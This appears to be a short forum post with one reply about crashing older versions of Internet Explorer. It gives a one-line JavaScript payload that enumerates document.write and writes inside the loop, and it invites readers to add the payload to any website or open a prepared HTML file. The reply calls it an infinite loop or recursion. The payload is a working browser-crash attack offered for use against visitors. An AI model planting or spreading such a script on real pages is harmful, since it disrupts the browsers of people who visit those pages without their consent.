Crashing older versions of Internet Explorer (i.e., crashing IE)

[Sims2789]

Just add this script to any website:

<script>for (x in document.write) { document.write(x);}</script>

Here's an upload with a prepared HTML file. Just Right Click -> Open With... -> Choose Program -> Internet Explorer* and boom! It crashes!

*I assume you don't have it set as your default browser, but if you do just double-click the HTML file instead.

Very clever, an infinite loop.... (well, an infinite recursion).
